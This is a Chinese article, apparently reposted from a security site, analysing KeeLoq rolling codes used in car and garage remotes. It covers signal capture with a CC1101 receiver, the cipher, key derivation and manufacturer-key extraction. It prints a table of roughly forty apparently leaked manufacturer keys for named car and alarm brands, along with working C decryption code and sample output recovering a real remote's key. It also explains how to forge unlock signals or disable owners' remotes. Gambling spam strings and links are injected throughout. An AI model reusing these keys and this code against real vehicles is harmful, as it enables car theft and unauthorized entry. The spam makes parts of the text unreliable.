使用HackCube-Special分析滾動碼信號

 

前言

所謂滾動碼(Rolling code)是我們嗅探汽車遙控發射出來的射頻信號,發現每一次的射頻信號都是不一樣的,並且每個信號只能被使用一次,這就是被稱爲滾動碼的原因,本文以Keeloq舉例,從設備工作頻點,遙控信號編碼,信號傳輸協議格式,來介紹滾動碼是如何工作的,在介紹一下產生滾動碼中最重要的Keeloq加解密算法,以及Keeloq算法中使用的編碼祕鑰生產規則,加密中廠商祕鑰泄露的問題,到最後教大家如何打造一個像HackCube-Special的安全研究硬件去對滾動碼進行安全研究。xise

Image

設備工作場景

滾動碼相比於固定碼較爲安全一些,因此被部署到需要更強的安全性 的設上,例如車庫門,住戶門禁拉伸門之類的用的最多的估計就是汽車 上面了,目前市面上的汽車基本都是採用滾動碼的,所謂的滾動碼其實遙控每一次發射的數據都是唯一不重複 的,因爲數據是被經過加密後的密文在發射出來,通常我們抓數據分析後會發現兩次據中會發生非常大的變,目已知在遙控器上常用的加密算法分別Keeloq ,Hitag2http://caidaome.com/

 

射頻頻點

GQRX設置在常用的幾個頻點上觀察頻譜圖來確定遙控工作的頻點,通常的工作在315Mhz433Mhz極個別的會採用868Mhz,915Mhz這幾個頻點,然後觀察433.92Mhz附近的頻譜圖在遙控發射信號時候可以很明顯的看到這個頻譜的變

我們也可以通過遙控上的FCC ID在相關網站上查詢設備的一些信息,或者是通過遙控上標註的信息,通過這個基本可以確定這個遙控工作的頻點和採用的調製方式等等,實在不行還能查看PCB板子上的晶體振盪器來算出頻率等等。騰訊分分彩

 

信號波形

我們將採樣的原始數據導入audacity就可以看到遙控的信號大概是這樣的,可以通過採樣時候的頻譜和波形看出來我們採用的鑰匙是經過ASK調製,其中前導碼作用是讓汽車知道將有信號到來注意接收,其中同步引導碼 的作用是同步時間,但是在後面審計程序代碼中發現程序把這一段同步引導碼來確定信號有效性的,然後數據傳輸後會將滾動碼序列功能碼狀態碼一併發送,間隔時間是擔心干擾的原因讓汽車沒有接收到信號所以鑰匙會把信號重複發射3-4次,間隔時間就是重複信號的間隔時間,這就是整個鑰匙的週期。http://tatawed.com/

 

編碼規則           

上圖是Bit編碼的格式一個Bit3TE,2個TE高電平信號1個TE低電平信號爲Bit0,1個TE高兩個TE低爲Bit1,先發送Lsb 下面爲解碼實例,假設二進制數據爲01011110因爲先發送最低有效位,所以二進制數據是0111 1010二進制轉化成十六進制0x7A

 

根據每個芯片型號來決定發送數據格式和內容,但都是大同小異本文以HC201舉例。騰訊分分彩

當按下對應的功能鍵(打開車門)時程序會將對應的4Bit功能碼2Bit溢出碼10Bit識別碼16Bit同步計數值通過Keeloq加密生成出所謂的滾動碼,這就是開頭32bit 滾動碼

4Bit 功能碼:代表信號執行什麼功能,當信號合法就執行對應的功能如打開車門,在固定碼區域也傳輸着4Bit 功能碼,但最後還是根據32Bit滾動碼中的功能碼來執行;2Bit 溢出碼:作用是當同步計數值到達65535+1後溢出碼增一同步計數值清零,但在審計代碼中發現並沒有使用該溢出碼;10Bit 識別碼:此碼是取28Bit序列號最後10Bit作爲設備的識別碼;16Bit 同步計數值:每次判斷信號合法後汽車執行對應功能並將同步計數值保存下來,當新的信號到來會對比汽車保存的同步計數值,如果小於或者等於將判斷信號非法,不執行任何操作,當大於保存的同步計數值,汽車執行對應功能並將同步計數值保存下來,這個在驗證作爲最關鍵的一環,這就是爲什麼汽車能防止重放攻擊的關鍵;28Bit序列號:相當於每一個遙控有一個獨立的ID,在出廠時就會讓汽車進入學習模式來保存這遙控的id和同步計數值,以後汽車可以根據此id來判斷是否與汽車內部存儲器中存儲的ID一致,一致爲合法設備。一輛汽車可以學習多個ID;4Bit功能碼:作用是傳輸着對應的功能如打開車門,打開行李箱等等最多代表16種功能,但在後面測試中發現汽車會根據32Bit滾動碼中的功能碼爲準;2Bit狀態碼:1Bit表示電池是處於一種低電壓狀態就是表示電池快沒電了,另外1Bit代表信號是否是重複的,前面有說的設備會根據鍵入的時長來發送多段信號,這就是表示信號的重複可以從上面介紹來看到;最關鍵的一步就是通過64Bit編碼祕鑰同步計數值,識別碼,功能碼進行加密的步驟,其中使用的就是Keeloq算法。

 

Keeloq 加密算法

現在我們來了解下這個Keeloq算法:

加密流程如圖所示,首先定義一個非線性表,這個非線性表5Bit的輸入碼在數據寄存器中間隔均勻的取Bit31,Bit26,Bit20,Bit9,Bit1總共五個Bit通過NLF(Nonlinear Logic Function)0x3A5C742E 產生1Bit的輸出碼,後輸出碼在在與Bit16,Bit0與祕鑰中的Bit0進行異或運算生成1Bit加密數據,然後每次生成出加密數據,祕鑰位和數據位都會進行移位,祕鑰作爲循環移位,加密數據作爲數據移位,重複上述步驟528次後,得到4字節密文。 

解密運算方式與加密過程的運算方法基本一樣,只是將輸入碼改變成Bit30,Bit25,Bit19,Bit8,Bit0,總共五個Bit通過NLF (Nonlinear Logic Function)0x3A5C742E 產生1Bit的輸出碼,然後1Bit輸出碼和Bit31Bit15和祕鑰中的Bit15進行異或運算產生出1Bit的解密數據,然後每次生成出解密數據,祕鑰位和數據位都會進行位移,祕鑰作循環移位,解密數據作爲移位輸入然後重複528輪還原4字節明文,可以看出算法中最主要的就是64Bit的編碼祕

 

Keeloq 編碼祕鑰生產算法

我們來看看這個這個編碼祕鑰生成的機制是什麼:

簡單加密,直接把廠商祕鑰當做設備的編碼祕鑰了。

標準祕鑰生成算法假設序列號爲0x1234567,通過標準的祕鑰生成算法來定的話,首先會拿2+序列號通過Keeloq的解密操作得到32BitLsb 爲0x89074278,然後在拿6+序列號通過Keeloq的解密操作得到32Bit Msb爲: 0x0516FBE9哪這個遙控的編碼祕鑰爲 0x0516FBE989074278,與簡單加密不同的是,使用簡單加密的廠商生產出來的每個設備編碼的祕鑰都是相同的,而使用標準祕鑰生成的根據每個遙控祕鑰都不會相同,意思說如果一輛車上學習了兩個遙控,這兩個遙控的編碼祕鑰都不是一樣的。

安全祕鑰生成算法假設序列號0x1234567種子碼0x12345678,這個種子碼是隨機的,每個遙控的種子碼都是不一樣的,首先會用種子碼進行keeloq解密操作得到32BitLsb值爲:0x188646d6,然後在拿6+序列號Keeloq的解密操作得到32Bit Msb值爲:0xC3C83DA8 哪這個遙控的編碼祕鑰爲 0xC3C83DA8188646d6。簡單說下這三種加密算法的區別,首先是簡單加密直接拿廠商祕鑰加密的話如果是通過側信道攻擊,可以獲取到廠商祕鑰,直接可以對其他的設備進行解密操作,然後如果是標準祕鑰生成算法,因爲每個遙控序列號都是不同的所以生出來的祕鑰也是不同的如果使用側信道攻擊只能獲取到編碼祕鑰就是隻對這個設備有用然而對其他的設備都沒有效果的,但是如果廠商祕鑰被其他人獲取了,因爲發送信號時候會帶着28Bit的序列號,所以只要別人拿到了這個廠商祕鑰就能解密信號,而安全祕鑰生成算法就不同了,即使是廠商祕鑰被別人知道了,也只能拿到前32位祕鑰,後32位是根據種子碼生成的,而種子碼又是隨機生成的,如果是hcs301那就要按住四個鍵纔會把種子碼給發射出來,這個種子碼只有在學習模式下遙控才需要發射出來給汽車保存,之後就在也不會發射出這個子碼了。三種祕鑰生成算法各不相同,很多廠商爲了貪方便和效率認爲只要有加密就可以,沒有仔細的瞭解這三種的區別導致了安全隱患,這祕鑰一旦被其他人獲取,除了使用了安全祕鑰生成算法能確保安全性,市面上的使用簡單和標準生成算法的廠商,一旦廠商祕鑰被泄露,所生產出出來的設備將不在安全,並且目前大多數是沒有聯網功能的,如果要升級程序更新祕鑰和新的算法只能將設備回廠重新燒錄或者找附近的4s店,大多數廠商因爲成本和擔心發生召回等事件後對名氣之類的有負面影響,大多數廠商都是像鴕鳥一樣把頭埋在沙子了,假裝聽不到,一般的用戶是沒有辦法自己升級設備程序的能力的,最關鍵的一環就是廠商祕鑰,下面來講講下廠商祕鑰的題。http://tatawed.com/

 

廠商祕鑰提取

一般通過獲取遙控配套的解碼IC就是接收端中的解碼IC,通過解碼ic的型號查專門的單片機解密廠商把芯片焊下來然後給專門的單片機解密的廠商通過技術手段和專業的儀器將程序讀出來,以HCS301舉例,一般配套的解碼ic就是TDH6301,解碼IC芯片FLASH or EEPROM種程序都是不可讀,但是可以通過一些技術手段將燒寫的文件給讀出來,這項技術被稱爲單片機解密,也有講單片機破解,單片機攻擊,MCU解密,MCU破解等等,將燒寫的程序讀出來後就可以自己複製和燒寫到全新的芯片上這被廣泛的用於山寨,如上圖爲HCS201的開蓋圖,因爲實驗室顯微鏡只能發大到這個倍並不能清晰的看到路圖,但是需要注意的是用這種方式讀出來的程序是經過編譯後的,並不能直接獲取到源碼,但是可以通過提取的程序來和配套的發射端來分析出廠商祕鑰,不是編碼祕鑰,意思說只要不是使用安全祕鑰模式的設備都是有一定風險,只是破解成本的問題,破解一款芯片成本爲幾千至上萬元不等。其實在市面已經發現不止一家廠商已經做出了相關的產品但是這類產品只是作爲匹配或者生成出對應汽車廠商的遙控好讓車主在原有遙控的基礎上增加多一把遙控,或者是在車主丟失遙控的情況生成出遙控降低去4S更換遙控的成本,但這類型的產品安全性往往令人堪憂,作者就從一款遙控生成的設備上提取到了三十多個廠商的代碼,涉及有百款左右的汽

 

 • 0• • 鐵將軍• HOP• CARD• B3E57139• 00• • NORMAL• HCS201
 • 1• • F3• HOP• CARD• 20065679• 00• • SINGLE• HCS301
 • 2• • 霍絲• HOP• DOOR• 84551223• 00• • SINGLE• HCS301
 • 3• • 凱越• HOP• CARD• 0000579a• 01• • SINGLE• HCS301
 • 4• • 長城哈佛• HOP• CARD• 19980319• 00• • NORMAL• HCS301
 • 6• • 興達• HOP• CARD• 01231f2c• 00• • NORMAL• HCS301
 • 7• • 馳普雷特• HOP• DOOR• 822040AF• 00• • NORMAL• HCS301
 • 8• • SPARK• HOP• CARD• 68697554• 00• • SINGLE• HCS301
 • 9• • SEG• HOP• CARD• 88772211• 00• • SINGLE• HCS301
 • 10• • 紅旗• HOP• CARD• 9871ba15• 02• • SINGLE• HCS301
 • 11• • 長安奔奔• HOP• CARD• abcd5556• 00• • NORMAL• HCS301
 • 12• • 東南藍瑟• HOP• CARD• ffffcdef• 00• • NORMAL• HCS301
 • 13• • 比亞迪F0• HOP• CARD• 20061579• 00• • SINGLE• HCS301
 • 14• • 霍絲2型• HOP• DOOR• ABCD0001• 00• • SINGLE• HCS301
 • 15• • 江鈴• HOP• CARD• 00000038• 00• • SINGLE• HCS301
 • 16• • 吉利自由艦• HOP• CARD• 75730750• 00• • SINGLE• HCS301
 • 17• • 愛麗舍• HOP• CARD• 39EF4226• 0C• • SINGLE• HCS301
 • 18• • 江鈴寶典• HOP• CARD• 19720719• 08• • SINGLE• HCS301
 • 19• • 新賽格• HOP• CARD• 0000AAAA• 00• • NORMAL• HCS301
 • 20• • 漳州車庫• HOP• CARD• FF7F8D77• 00" • SINGLE• HCS301
 • 21• • SONATA• HOP• CARD• 4841464C• 00• • NORMAL• HCS301
 • 22• • 哈佛315• HOP• CARD• 20632891• 00• • SINGLE• HCS301
 • 23• • 威志• HOP• CARD• 267E0000• 02• • SINGLE• HCS301
 • 24• • 別克(凱越/樂風/樂騁)• HOP• CARD• 2A5A5F45• 00" • NORMAL• HCS301
 • 25• • 吉利LG-1(國內版)• HOP• CARD• 4BA685C3• 00" • NORMAL• HCS301
 • 26• • 華泰聖達菲• HOP• CARD• 97896EF4• 00" • NORMAL• HCS301
 • 27• • 柳州五菱宏圖• HOP• CARD• 2A5A5F34• 00" • NORMAL• HCS301
 • 28• • 本田理念• HOP• CARD• BDFEEACE• 00" • NORMAL• HCS301
 • 29• • 威志V2• HOP• CARD• E66AF7DE• 00" • NORMAL• HCS301
 • 30•   解放J6(不確定)• HOP• CARD• 51275230• 00" • SINGLE• HCS301
 • 31•   海馬福美來(紅燈)• HOP• CARD• E6FC9BDF• 00" • NORMAL• HCS301
 • 32• • 車庫通用• HCS101• DOOR• 39f1284• 00• • SINGLE• HCS301
 • 33•  解放J6(紅燈常亮)• HOP• CARD• A0E098AB• 00" • NORMAL• HCS301
 • 34•   衆泰(2012款)• HOP• CARD• 568563dd• 00" • SINGLE• HCS301
 • 35• • 江淮瑞風• HOP• CARD• 562156ab• 00" • NORMAL• HCS301
 • 36• • 力帆620• HOP• CARD• E074EE78• 00" • SINGLE• HCS301
 • 37• • 宇通客車乘客門• HOP• CARD• 5875fd10• 00" • SINGLE• HCS301
 • 38• • 海馬M3• HOP• CARD• 2455b2c1• 00" • SINGLE• HCS301
 • 39• • 森雅M80/S80/佳寶V80(2014款)• HOP• CARD• 54639def• 00" • NORMAL• HCS301
 • 40• • 別克君越(06~09款)• HOP• CARD• 1952a8de• 00" • SINGLE• HCS301

據我所知要想修復該問題必須要在汽車和遙控兩端更新程序,除非是更新汽車端的接收程序並更換新的遙控備,如有從業者可以探討一下修復的方案。

 

風險演示設備

講完鑰泄露的事,我們要對這個遙控信號進行嗅探,這裏我們使用的TI推出的CC1101射頻芯片,主控端我是使用ATmega32u4對射頻模塊進行配置,我們這裏是用的是CC1101異步接收模式,使用CC1101GDO2用來接收信號數據下面會詳細的講講:

 

#define CC1101_Keeloq_IOCFG2            0x29
#define CC1101_Keeloq_IOCFG1            0x2E
#define CC1101_Keeloq_IOCFG0            0x06
#define CC1101_Keeloq_FIFOTHR           0x47
#define CC1101_Keeloq_SYNC1             0xD3
#define CC1101_Keeloq_SYNC0             0x91
#define CC1101_Keeloq_PKTLEN            0xFF
#define CC1101_Keeloq_PKTCTRL1          0x00
#define CC1101_Keeloq_PKTCTRL0          0x30
#define CC1101_Keeloq_ADDR              0x00
#define CC1101_Keeloq_CHANNR            0x00
#define CC1101_Keeloq_FSCTRL1           0x06
#define CC1101_Keeloq_FSCTRL0           0x00
#define CC1101_Keeloq_MDMCFG4           0xF8
#define CC1101_Keeloq_MDMCFG3           0x93
#define CC1101_Keeloq_MDMCFG2           0x33
#define CC1101_Keeloq_MDMCFG1           0x22
#define CC1101_Keeloq_MDMCFG0           0xF8
#define CC1101_Keeloq_DEVIATN           0x00
#define CC1101_Keeloq_MCSM2             0x07
#define CC1101_Keeloq_MCSM1             0x20
#define CC1101_Keeloq_MCSM0             0x18
#define CC1101_Keeloq_FOCCFG            0x16
#define CC1101_Keeloq_BSCFG             0x6C
#define CC1101_Keeloq_AGCCTRL2          0x00
#define CC1101_Keeloq_AGCCTRL1          0x40
#define CC1101_Keeloq_AGCCTRL0          0x91
#define CC1101_Keeloq_WOREVT1           0x87
#define CC1101_Keeloq_WOREVT0           0x6B
#define CC1101_Keeloq_WORCTRL           0xFB
#define CC1101_Keeloq_FREND1            0x56
#define CC1101_Keeloq_FREND0            0x11
#define CC1101_Keeloq_FSCAL3            0xE9
#define CC1101_Keeloq_FSCAL2            0x2A
#define CC1101_Keeloq_FSCAL1            0x00
#define CC1101_Keeloq_FSCAL0            0x1F
#define CC1101_Keeloq_RCCTRL1           0x41
#define CC1101_Keeloq_RCCTRL0           0x00
#define CC1101_Keeloq_FSTEST            0x59
#define CC1101_Keeloq_PTEST             0x7F
#define CC1101_Keeloq_AGCTEST           0x3F
#define CC1101_Keeloq_TEST2             0x81
#define CC1101_Keeloq_TEST1             0x35
#define CC1101_Keeloq_TEST0             0x0B

這個是根據遙控生成的CC1101寄存器的配置,可以通過SmartRF Studio配置完參數後導出,在CC1101datasheet中對這些寄存器的作用有非常詳細的介紹:

 

//參考datasheet寫的一個設置工作射頻頻率的函數,可以使用SmartRF Studio計算得出
void setfreq(unsigned long int freq) { 
  unsigned long freqnum = freq / 396.734569;
  byte freqx[3];
  freqx[0] = freqnum;
  freqx[1] = freqnum >> 8;
  freqx[2] = freqnum >> 16;
  cc1101.writeReg(CC1101_FREQ2, freqx[2]); //計算出工作頻率後寫入相關的寄存器
  cc1101.writeReg(CC1101_FREQ1, freqx[1]); //計算出工作頻率後寫入相關的寄存器
  cc1101.writeReg(CC1101_FREQ0, freqx[0]); //計算出工作頻率後寫入相關的寄存器
}
void RF433_Keeloq() {
  cc1101.SS_PIN = RF433_CS; //設置芯片SPI片選引腳 
  cc1101.init(); //設置射頻芯片基礎寄存器設置
  setfreq(433920000); //設置工作射頻頻率
  cc1101.cmdStrobe(CC1101_SRX); //進入接收模式
  cc1101.writeReg(CC1101_IOCFG2, 0x0d); //使CC1101的GDO2引腳成異步數據輸出模式
  cc1101.writeReg(CC1101_MDMCFG4, 0xc8); //設置速率(9.5K)
  cc1101.writeReg(CC1101_MDMCFG3, 0x93); //設置速率(9.5K)
}

 

cc1101.init()函數中將剛剛的射頻配置寫入CC1101的相關寄存器中,然後我們挑幾個關鍵的講講,setfreq函數用於將CC1101設置在遙控器的工作頻率上,然後通過SPI發送CC1101_SRX指令,使其進入接收數據的狀態中,然後通過配置IOCFG2.GDO2_CFG這個寄存器,使CC1101GDO2輸出異步串行數據(類似於網上那種超在生的接收模塊),用了這種異步接收模式後就不能使用數據包處理,FIFO緩存之類的了,簡單的說就是將這個ASK的信號解調後通過CC1101GDO2的IO將數據輸出到與單片機鏈接的引腳中,這樣的好處是接收信號的寬容度高,可以接收多種協議的信號只要在單片機進行處理就可以了,並且可以接收不同速率的兩個信號,我舉個例子吧。上面這個的是我通過HackRF接收到的原始數據導入到Audacity中的數據,然後下面這個是通過邏輯分析儀接到CC1101的GDO2引腳後的輸出波形,然後我們可以看出這個信號被CC1101解調後輸出爲數字信號了,然後我們就可以直接對這個數字信號進行處理解碼下來:

 

/
    receive Keeloq data
/
#include 
HackRadio Hackradio = HackRadio();
void Setup(){
    RF433_Keeloq(); //對CC1101進行配置
    Hackradio.enableReceive(RF433_att); //設置庫調用的中斷引腳 attachInterrupt(RF433_att, handleInterrupt, CHANGE);
}
void loop() {
  if (Hackradio.available()) {
    detachInterrupt(RF433_att); //禁用中斷引腳
    Cube_PRINT.print("data:");
    Cube_PRINT.print(Hackradio.getkey()); //串口打印滾動碼數據
    Cube_PRINT.print(";Serial Number:");
    Cube_PRINT.print(Hackradio.getsn()); //串口打印序列號數據
    Hackradio.resetAvailable(); //重置接收狀態
    Hackradio.enableReceive(RF433_att); //打印完數據後在啓用中斷引腳
  }
}

 

然後根據RCSwitch寫了一個類似類似接收Keeloq信號的庫,原理就是通過arduino單片機的attachInterrupt中斷函數每次數字信號的電平發生變化時候,進入到handleInterrupt中斷處理函數,將每次的時間記錄下來,可以參考之前寫的固定碼的那一篇文章,然後在接收到兩段信號之間的間隔時間後對之前中斷保存的時間進行判斷,然後就可對存下來的時間進行解碼了:這個就是我接收一個鐵將軍品牌的遙控爲例進行接收,這個是通過邏輯分析儀接到CC1101上的GDO2引腳的波形,然後這個數據的協議在前面有介紹到,這裏就不過多的講了。然後我們按照之前說的編碼規則,對存下來的每兩個時間進行判斷波形,就可解碼得到10000010101110111001001101001000這一串二進制數據在轉成十六進制``82bb9348這個就是Keeloq加密後的滾動碼數據了。相同道理我們得到序列號二進制數據0011100100011000001011011010然後在轉成十六進制,得到序列號數據39182da後我們就可以對這滾動碼數據進行解密了:

 

#include
#include
#include
#define KeeLoq_NLF 0x3A5C742E
#define bit(x,n) (((x)>>(n))&1)
#define g5(x,a,b,c,d,e) (bit(x,a)+bit(x,b)2+bit(x,c)4+bit(x,d)8+bit(x,e)16)
typedef unsigned long int uint32_t;
typedef unsigned long long int uint64_t;
typedef unsigned long u32;
typedef unsigned long long u64;
uint64_t key;
uint32_t  KeeLoq_Encrypt (const uint32_t data, const uint64_t key){
uint32_t  x = data, r;
for (r = 0; r < 528; r++){
    x = (x>>1)^((bit(x,0)^bit(x,16)^(uint32_t)bit(key,r&63)^bit(KeeLoq_NLF,g5(x,1,9,20,26,31)))<<31);
  }
  return x;
}
uint32_t  KeeLoq_Decrypt (const uint32_t data, const uint64_t key){
  uint32_t x = data, r;
  for (r = 0; r < 528; r++){
    x = (x<<1)^bit(x,31)^bit(x,15)^(uint32_t)bit(key,(15-r)&63)^bit(KeeLoq_NLF,g5(x,0,8,19,25,30));
  }
  return x;
}
int main(int argc,char * argv[]){
    unsigned long sn = strtoul(argv[1],NULL,16);
    long unsigned int datad,Msb,Lsb,Key_data;
    unsigned long data = strtoul(argv[2],NULL,16);
    key=0xB3E5625A8CCD7139;
    Msb =KeeLoq_Decrypt(sn+0x60000000,key);
    Lsb =KeeLoq_Decrypt(sn+0x20000000,key);
    Msb=Msb <<32;
    Lsb=Lsb <<32;
    Lsb=Lsb >>32;
    Key_data=Msb+Lsb;
    printf("%lX",Key_data);
    printf("\n");
    datad=KeeLoq_Decrypt(data,Key_data);
    datad=datad<<32;
    datad=datad>>32;
    printf("%lX",datad);
    printf("\n");
    return 0; 
}

遙控是鐵將軍的廠商祕鑰爲B3E5625A8CCD7139他們所使用的是標準祕鑰生成算法,所以我們先得算出這個的編碼祕鑰,我們先得使用廠商祕鑰解密639182da(6+序列號)因此我得到解密數據7D093B66這個是編碼祕鑰的前一部分,然後我們在用廠商祕鑰解密239182da(2+序列號)然後算出數據B31C374A編碼祕鑰的後面一部分,就得到了完整的編碼7D093B66B31C374A,我們就可以通過這個編碼祕鑰去解密滾動碼的數據了,可以通過我提供的這個程序算出標準祕鑰生成算法的編碼祕鑰了:

 

./Standard_Keeloq_Decrypt 39182da 82bb9348
7D093B66B31C374A
42DA560F

 

42DA560F就是通過剛剛得到的滾動碼82bb9348解密得來的,這個數據內容就不過多的在講了,說一下這個同步計數值吧,這個同步計數值用於防止重放攻擊,因爲每次信號被使用後遙控端會進行遞增該值,接收端(汽車)也會保存這個同步計數值,然後在重放之前的信號的話同步值比之前的小然後接收端就不會識別這個信號了.也因此所以被稱之爲滾動碼,然後我們看看下一個滾碼的數據:

 

./Standard_Keeloq_Decrypt 39182da 79a05530
42DA5610

 

79a05530就是下一次遙控發射出來的滾動碼的數據內容解密後發現42DA5610之前的42DA560F只有同步計數值的地方發生的改變,但是密文卻有着翻天覆地的變化這就得力於Keeloq的非線性加密算法了:

 

./Keeloq_Encrypt 22DA5611
B5E677C9

 

我們知道祕鑰之後就可以在原本同步計數值的基礎上遞增然後修改功能碼爲解鎖然後帶上序列號發送出去就可以打開車門了,我們甚至可以將同步計數值加上幾萬因此讓原本的遙控失效:可以使用HackCube-Special嗅探遙控發射出來的數據作爲滾動碼學習來使用,不會提供解密發射,具有危險性的功能我們的硬件產品預計會在 12 月份月底左右上線, 在我們社區上提交質量不錯的文章是有機會拿到第一時間產品的喲,有任何問題的歡迎在社區上與我們交流。

 

參考鏈接

http://www.ti.com/lit/ds/symlink/cc1101.pdf

https://www.mouser.com/datasheet/2/268/21143b-64900.pdf

https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf

http://tech.163.com/16/0812/10/BU8VB5PI00097U7R.html

 

*本文作者:mobier,轉載請註明來自FreeBuf

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章